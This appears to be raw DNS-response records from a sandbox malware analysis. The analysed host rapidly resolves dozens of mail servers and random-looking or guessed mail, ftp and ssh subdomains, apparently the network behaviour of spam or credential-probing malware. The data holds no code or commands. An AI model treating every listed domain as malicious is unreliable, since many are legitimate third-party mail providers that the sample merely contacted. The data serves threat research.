Dec 2, 2023 18:04:37.715275049 CET	1.1.1.1	192.168.2.7	0xf866	Name error (3)	luminous-path.de	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.715708971 CET	1.1.1.1	192.168.2.7	0x22b2	Name error (3)	knpzwm.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.718045950 CET	1.1.1.1	192.168.2.7	0xff8d	No error (0)	mail.b-io.co		142.93.226.250	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.718045950 CET	1.1.1.1	192.168.2.7	0xff8d	No error (0)	mail.b-io.co		65.109.162.19	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.722183943 CET	1.1.1.1	192.168.2.7	0x6a6a	Name error (3)	xfuainui.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.726778030 CET	1.1.1.1	192.168.2.7	0xd0a4	No error (0)	mx20.antispam.mailspamprotection.com		34.120.156.61	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.726790905 CET	1.1.1.1	192.168.2.7	0x5bd5	No error (0)	mx1.privateemail.com		198.54.122.240	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.731439114 CET	1.1.1.1	192.168.2.7	0x9e2f	No error (0)	mx1.123-reg.co.uk		94.136.40.236	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.734194040 CET	1.1.1.1	192.168.2.7	0x4e8b	Name error (3)	hldxxjgzeopbcgaagmail.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.736901999 CET	1.1.1.1	192.168.2.7	0xb606	No error (0)	mx00.schlund.de		212.227.15.41	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.769623041 CET	1.1.1.1	192.168.2.7	0xe811	Name error (3)	axtkmooehtnfekmooefv.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.787863016 CET	1.1.1.1	192.168.2.7	0xc59a	No error (0)	mxbiz1.qq.com		43.154.252.231	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.787863016 CET	1.1.1.1	192.168.2.7	0xc59a	No error (0)	mxbiz1.qq.com		43.154.252.185	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.791691065 CET	1.1.1.1	192.168.2.7	0x9c84	No error (0)	delightfulhouses-com.mail.protection.outlook.com		52.101.9.17	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.791691065 CET	1.1.1.1	192.168.2.7	0x9c84	No error (0)	delightfulhouses-com.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.791691065 CET	1.1.1.1	192.168.2.7	0x9c84	No error (0)	delightfulhouses-com.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.791691065 CET	1.1.1.1	192.168.2.7	0x9c84	No error (0)	delightfulhouses-com.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.791691065 CET	1.1.1.1	192.168.2.7	0x9c84	No error (0)	delightfulhouses-com.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.791691065 CET	1.1.1.1	192.168.2.7	0x9c84	No error (0)	delightfulhouses-com.mail.protection.outlook.com		52.101.8.32	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.802825928 CET	1.1.1.1	192.168.2.7	0x473e	No error (0)	ancoracenter-com.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.802825928 CET	1.1.1.1	192.168.2.7	0x473e	No error (0)	ancoracenter-com.mail.protection.outlook.com		52.101.9.0	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.802825928 CET	1.1.1.1	192.168.2.7	0x473e	No error (0)	ancoracenter-com.mail.protection.outlook.com		52.101.8.32	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.802825928 CET	1.1.1.1	192.168.2.7	0x473e	No error (0)	ancoracenter-com.mail.protection.outlook.com		52.101.11.9	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.802825928 CET	1.1.1.1	192.168.2.7	0x473e	No error (0)	ancoracenter-com.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.802825928 CET	1.1.1.1	192.168.2.7	0x473e	No error (0)	ancoracenter-com.mail.protection.outlook.com		52.101.11.10	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.802825928 CET	1.1.1.1	192.168.2.7	0x473e	No error (0)	ancoracenter-com.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.805586100 CET	1.1.1.1	192.168.2.7	0x614f	No error (0)	zadaca-com.mail.protection.outlook.com		52.101.68.36	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.805586100 CET	1.1.1.1	192.168.2.7	0x614f	No error (0)	zadaca-com.mail.protection.outlook.com		52.101.73.22	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.805586100 CET	1.1.1.1	192.168.2.7	0x614f	No error (0)	zadaca-com.mail.protection.outlook.com		52.101.73.16	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.805586100 CET	1.1.1.1	192.168.2.7	0x614f	No error (0)	zadaca-com.mail.protection.outlook.com		52.101.73.26	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.805586100 CET	1.1.1.1	192.168.2.7	0x614f	No error (0)	zadaca-com.mail.protection.outlook.com		52.101.73.28	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.805586100 CET	1.1.1.1	192.168.2.7	0x614f	No error (0)	zadaca-com.mail.protection.outlook.com		52.101.73.24	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.805586100 CET	1.1.1.1	192.168.2.7	0x614f	No error (0)	zadaca-com.mail.protection.outlook.com		52.101.68.0	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.818389893 CET	1.1.1.1	192.168.2.7	0xb8ef	Name error (3)	enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.822072029 CET	1.1.1.1	192.168.2.7	0xb5ae	No error (0)	_dc-mx.99f8f4cf799e.ape4jewelry.com		209.124.74.160	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.828093052 CET	1.1.1.1	192.168.2.7	0xc28e	No error (0)	smtpin.rzone.de		81.169.145.97	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.828392029 CET	1.1.1.1	192.168.2.7	0x68da	No error (0)	lrrcenter-org.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.828392029 CET	1.1.1.1	192.168.2.7	0x68da	No error (0)	lrrcenter-org.mail.protection.outlook.com		104.47.74.10	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.828404903 CET	1.1.1.1	192.168.2.7	0x8cd	No error (0)	alt1.aspmx.l.google.com		209.85.202.26	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.831870079 CET	1.1.1.1	192.168.2.7	0x4dad	Name error (3)	msnal.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.835218906 CET	1.1.1.1	192.168.2.7	0x7d02	Name error (3)	yah0o.es	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.837640047 CET	1.1.1.1	192.168.2.7	0x5e14	Name error (3)	mail.msnal.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.840487003 CET	1.1.1.1	192.168.2.7	0xc7cd	No error (0)	mail.hope-mail.com		159.65.192.215	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.840487003 CET	1.1.1.1	192.168.2.7	0xc7cd	No error (0)	mail.hope-mail.com		5.161.182.241	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.843321085 CET	1.1.1.1	192.168.2.7	0x2e9a	No error (0)	alt4.aspmx.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.849324942 CET	1.1.1.1	192.168.2.7	0xa6bc	Name error (3)	lsacwbij.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.852958918 CET	1.1.1.1	192.168.2.7	0x39ce	Name error (3)	omdhggzx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.860418081 CET	1.1.1.1	192.168.2.7	0xd88	No error (0)	alt3.aspmx.l.google.com		142.250.27.26	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.866420031 CET	1.1.1.1	192.168.2.7	0x696	Name error (3)	mail.lsacwbij.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.868782043 CET	1.1.1.1	192.168.2.7	0x978f	No error (0)	ALT1.ASPMX.L.GOOGLE.com		209.85.202.27	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.870285034 CET	1.1.1.1	192.168.2.7	0xf6cd	Name error (3)	ftp.hldxxjgzeopbcgaagmail.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.870301008 CET	1.1.1.1	192.168.2.7	0x8e91	No error (0)	mx2.privateemail.com		198.54.122.250	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.871575117 CET	1.1.1.1	192.168.2.7	0xbe4	Name error (3)	ftp.dieihuyz.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.871589899 CET	1.1.1.1	192.168.2.7	0x3897	Name error (3)	ftp.tkzttitrygbx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.874596119 CET	1.1.1.1	192.168.2.7	0x7ed7	Name error (3)	pop.parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.874609947 CET	1.1.1.1	192.168.2.7	0xb5d5	Name error (3)	ftp.luminous-path.de	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.876066923 CET	1.1.1.1	192.168.2.7	0x7663	Name error (3)	jqpgnp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.877825022 CET	1.1.1.1	192.168.2.7	0x2aca	No error (0)	mx0.123-reg.co.uk		94.136.40.235	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.880285978 CET	1.1.1.1	192.168.2.7	0x4622	No error (0)	mailgate.untitled.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.884908915 CET	1.1.1.1	192.168.2.7	0xf900	No error (0)	aspmx2.googlemail.com		209.85.202.27	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.885421991 CET	1.1.1.1	192.168.2.7	0xbb20	No error (0)	mail.verer.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.885421991 CET	1.1.1.1	192.168.2.7	0xbb20	No error (0)	mail.verer.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.894581079 CET	1.1.1.1	192.168.2.7	0x31fe	Name error (3)	parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.905278921 CET	1.1.1.1	192.168.2.7	0xf52	No error (0)	mx30.antispam.mailspamprotection.com		34.111.121.216	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.913275003 CET	1.1.1.1	192.168.2.7	0x29b8	No error (0)	arsonsisi-com-tr.mail.protection.outlook.com		104.47.17.74	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.913275003 CET	1.1.1.1	192.168.2.7	0x29b8	No error (0)	arsonsisi-com-tr.mail.protection.outlook.com		104.47.17.138	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.915472984 CET	1.1.1.1	192.168.2.7	0x6a4	Name error (3)	relay.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.925285101 CET	1.1.1.1	192.168.2.7	0xd974	No error (0)	mxw.263.net		54.209.81.157	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.925285101 CET	1.1.1.1	192.168.2.7	0xd974	No error (0)	mxw.263.net		128.1.41.229	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.925298929 CET	1.1.1.1	192.168.2.7	0xb21f	No error (0)	mx.263.net		128.1.41.229	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.925298929 CET	1.1.1.1	192.168.2.7	0xb21f	No error (0)	mx.263.net		38.83.106.85	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.925298929 CET	1.1.1.1	192.168.2.7	0xb21f	No error (0)	mx.263.net		54.209.81.157	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:37.925298929 CET	1.1.1.1	192.168.2.7	0xb21f	No error (0)	mx.263.net		38.83.106.84	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.001909971 CET	1.1.1.1	192.168.2.7	0x780e	No error (0)	mwbgw1.ocn.ad.jp		211.16.12.161	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.006079912 CET	1.1.1.1	192.168.2.7	0xb9a0	Name error (3)	pop.maksimp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.010313034 CET	1.1.1.1	192.168.2.7	0xa02f	Name error (3)	mailgate.maksimp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.017298937 CET	1.1.1.1	192.168.2.7	0xf2e4	Name error (3)	pop3.maksimp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.024276018 CET	1.1.1.1	192.168.2.7	0x85c9	Name error (3)	relay.takin-co.ir	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.026002884 CET	1.1.1.1	192.168.2.7	0x8f39	Name error (3)	relay.maksimp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.034694910 CET	1.1.1.1	192.168.2.7	0xe46c	No error (0)	alt2.aspmx.l.google.com		64.233.184.27	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.039032936 CET	1.1.1.1	192.168.2.7	0xe2f0	No error (0)	mail.zlig.com		148.72.77.90	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.041553020 CET	1.1.1.1	192.168.2.7	0x3223	Name error (3)	mail.xfuainui.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.042002916 CET	1.1.1.1	192.168.2.7	0x88fa	No error (0)	ALT2.ASPMX.L.GOOGLE.COM		64.233.184.26	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.044689894 CET	1.1.1.1	192.168.2.7	0x926a	No error (0)	mail.maksimp.com	maksimp.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:38.044689894 CET	1.1.1.1	192.168.2.7	0x926a	No error (0)	maksimp.com		143.95.247.178	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.050512075 CET	1.1.1.1	192.168.2.7	0xc072	No error (0)	www.trb61.com		157.52.245.122	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.076642990 CET	1.1.1.1	192.168.2.7	0xb2b8	No error (0)	mail.airanatoliava.org		208.91.197.132	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.098769903 CET	1.1.1.1	192.168.2.7	0x19c1	Name error (3)	mail.yah0o.es	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.101733923 CET	1.1.1.1	192.168.2.7	0x1b1c	Name error (3)	pop.enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.111666918 CET	1.1.1.1	192.168.2.7	0x583e	No error (0)	www.ersvp.com	ersvp.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:38.111666918 CET	1.1.1.1	192.168.2.7	0x583e	No error (0)	ersvp.com		35.174.248.99	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.113081932 CET	1.1.1.1	192.168.2.7	0x7520	No error (0)	mail.vanweissenbruch.nl		185.85.211.138	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.121270895 CET	1.1.1.1	192.168.2.7	0xbf5	No error (0)	_dc-mx.33dbbb6f819b.escortracing.org		209.124.74.160	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.124607086 CET	1.1.1.1	192.168.2.7	0x3853	Name error (3)	ftp.yah0o.es	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.131761074 CET	1.1.1.1	192.168.2.7	0xe7b2	Name error (3)	pop.takin-co.ir	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.201194048 CET	1.1.1.1	192.168.2.7	0x8491	No error (0)	mwbgw2.ocn.ad.jp		211.16.12.162	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.208925962 CET	1.1.1.1	192.168.2.7	0x277e	Name error (3)	ssh.tkzttitrygbx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.213560104 CET	1.1.1.1	192.168.2.7	0x3d7b	Name error (3)	smtp.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.217041016 CET	1.1.1.1	192.168.2.7	0x8a49	No error (0)	www.lrrcenter.org	www.lrrcenter.org.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:38.230341911 CET	1.1.1.1	192.168.2.7	0xec6c	No error (0)	ftp.maksimp.com	maksimp.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:38.230341911 CET	1.1.1.1	192.168.2.7	0xec6c	No error (0)	maksimp.com		143.95.247.178	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.231287003 CET	1.1.1.1	192.168.2.7	0xc4a0	Name error (3)	pop.xfuainui.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.334074974 CET	1.1.1.1	192.168.2.7	0x3d71	Name error (3)	mailgate.takin-co.ir	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.354563951 CET	1.1.1.1	192.168.2.7	0xc3c8	Name error (3)	mail.yabeetowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.378066063 CET	1.1.1.1	192.168.2.7	0x8ca9	Name error (3)	mail.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.391618013 CET	1.1.1.1	192.168.2.7	0x29f2	No error (0)	ftp.lrrcenter.org		66.33.221.189	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.402050972 CET	1.1.1.1	192.168.2.7	0x8ca9	Name error (3)	mail.yekai.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.403135061 CET	1.1.1.1	192.168.2.7	0xc3c8	Name error (3)	mail.yabeetowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.414894104 CET	1.1.1.1	192.168.2.7	0x3d71	Name error (3)	mailgate.takin-co.ir	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.422960043 CET	1.1.1.1	192.168.2.7	0xc056	No error (0)	pop.donankohatsu.com	donankohatsu.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:38.422960043 CET	1.1.1.1	192.168.2.7	0xc056	No error (0)	donankohatsu.com		125.206.177.59	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.423125029 CET	1.1.1.1	192.168.2.7	0xc056	No error (0)	pop.donankohatsu.com	donankohatsu.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:38.423125029 CET	1.1.1.1	192.168.2.7	0xc056	No error (0)	donankohatsu.com		125.206.177.59	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.426148891 CET	1.1.1.1	192.168.2.7	0xd50a	Name error (3)	pop.giannicastellani.it	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.426165104 CET	1.1.1.1	192.168.2.7	0xd50a	Name error (3)	pop.giannicastellani.it	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.433033943 CET	1.1.1.1	192.168.2.7	0x39a6	Name error (3)	ssh.lsacwbij.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.508071899 CET	1.1.1.1	192.168.2.7	0x5725	Name error (3)	pop.lsacwbij.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.546013117 CET	1.1.1.1	192.168.2.7	0xe2cd	Name error (3)	mail.enchanteddesignsanmore.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.549143076 CET	1.1.1.1	192.168.2.7	0x8e40	No error (0)	yelena.strokin.info		162.241.216.203	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.574917078 CET	1.1.1.1	192.168.2.7	0x461b	No error (0)	mail.giannicastellani.it	giannicastellani.it		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:38.574917078 CET	1.1.1.1	192.168.2.7	0x461b	No error (0)	giannicastellani.it		46.254.37.204	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.574933052 CET	1.1.1.1	192.168.2.7	0x461b	No error (0)	mail.giannicastellani.it	giannicastellani.it		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:38.574933052 CET	1.1.1.1	192.168.2.7	0x461b	No error (0)	giannicastellani.it		46.254.37.204	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.611488104 CET	1.1.1.1	192.168.2.7	0xdd2a	Name error (3)	ssh.mailchme.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.676093102 CET	1.1.1.1	192.168.2.7	0xaaef	Name error (3)	ssh.dieihuyz.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.757867098 CET	1.1.1.1	192.168.2.7	0xb84d	No error (0)	www.yabeetowel.com		192.186.15.215	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.757936001 CET	1.1.1.1	192.168.2.7	0xb84d	No error (0)	www.yabeetowel.com		192.186.15.215	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.781763077 CET	1.1.1.1	192.168.2.7	0x5e74	No error (0)	www.wisnuwardhana.ac.id	wisnuwardhana.ac.id		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:38.781763077 CET	1.1.1.1	192.168.2.7	0x5e74	No error (0)	wisnuwardhana.ac.id		103.163.138.98	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.781775951 CET	1.1.1.1	192.168.2.7	0x5e74	No error (0)	www.wisnuwardhana.ac.id	wisnuwardhana.ac.id		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:38.781775951 CET	1.1.1.1	192.168.2.7	0x5e74	No error (0)	wisnuwardhana.ac.id		103.163.138.98	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:38.808264017 CET	1.1.1.1	192.168.2.7	0x51bc	Name error (3)	ftp.mailchme.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.369565964 CET	1.1.1.1	192.168.2.7	0xde07	Name error (3)	ftp.xfuainui.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.435580969 CET	1.1.1.1	192.168.2.7	0x614e	Name error (3)	kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.435600042 CET	1.1.1.1	192.168.2.7	0x614e	Name error (3)	kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.435616016 CET	1.1.1.1	192.168.2.7	0x614e	Name error (3)	kfysyscc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.907398939 CET	1.1.1.1	192.168.2.7	0xcd54	No error (0)	www.stylishsoiree.com	websites054.homestead.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:39.907398939 CET	1.1.1.1	192.168.2.7	0xcd54	No error (0)	websites054.homestead.com		108.167.135.78	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:39.928219080 CET	1.1.1.1	192.168.2.7	0x3a74	No error (0)	www.yel168.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:39.928219080 CET	1.1.1.1	192.168.2.7	0x3a74	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.040209055 CET	1.1.1.1	192.168.2.7	0x488d	No error (0)	silverbarnjewelry.com		172.67.180.34	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.040209055 CET	1.1.1.1	192.168.2.7	0x488d	No error (0)	silverbarnjewelry.com		104.21.67.194	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.050312996 CET	1.1.1.1	192.168.2.7	0x7894	No error (0)	weiberg.jimdo.de	r2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:40.205813885 CET	1.1.1.1	192.168.2.7	0x7ca7	Name error (3)	ftp.ldrshipcoach.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.zlig.com	pop.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.secureserver.net	pop.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.vox.secureserver.net	pop.us-phx.vox.secureserver.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.117	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.us-phx.vox.secureserver.net		173.201.193.97	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.us-phx.vox.secureserver.net		173.201.193.240	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.246	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.116	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.153	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.247	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.244369984 CET	1.1.1.1	192.168.2.7	0x8de7	No error (0)	pop.us-phx.vox.secureserver.net		68.178.252.154	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.300302982 CET	1.1.1.1	192.168.2.7	0xdc51	No error (0)	www.zadaca.com		213.155.112.212	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.423552990 CET	1.1.1.1	192.168.2.7	0xd328	No error (0)	enizi.ir		104.21.33.77	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.423552990 CET	1.1.1.1	192.168.2.7	0xd328	No error (0)	enizi.ir		172.67.160.2	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.464178085 CET	1.1.1.1	192.168.2.7	0x5cc7	Name error (3)	pop3.parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.511764050 CET	1.1.1.1	192.168.2.7	0xdbd0	No error (0)	datascope.co.uk		35.214.23.79	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.604832888 CET	1.1.1.1	192.168.2.7	0xe246	No error (0)	www.domeinplein.nl		185.85.211.151	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.613178015 CET	1.1.1.1	192.168.2.7	0xfef6	Name error (3)	ftp.reqifgccowel.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.784857988 CET	1.1.1.1	192.168.2.7	0x311	Name error (3)	ssh.omdhggzx.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.795523882 CET	1.1.1.1	192.168.2.7	0xb2b2	Name error (3)	ftp.jqpgnp.com	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.795568943 CET	1.1.1.1	192.168.2.7	0x52f4	Name error (3)	mail.parisienne-moonlight.net	none	none	A (IP address)	IN (0x0001)	false
Dec 2, 2023 18:04:40.804627895 CET	1.1.1.1	192.168.2.7	0xfe49	Name error (3)	ftp.knpzwm.com	none	none	A (IP address)	IN (0x0001)	false
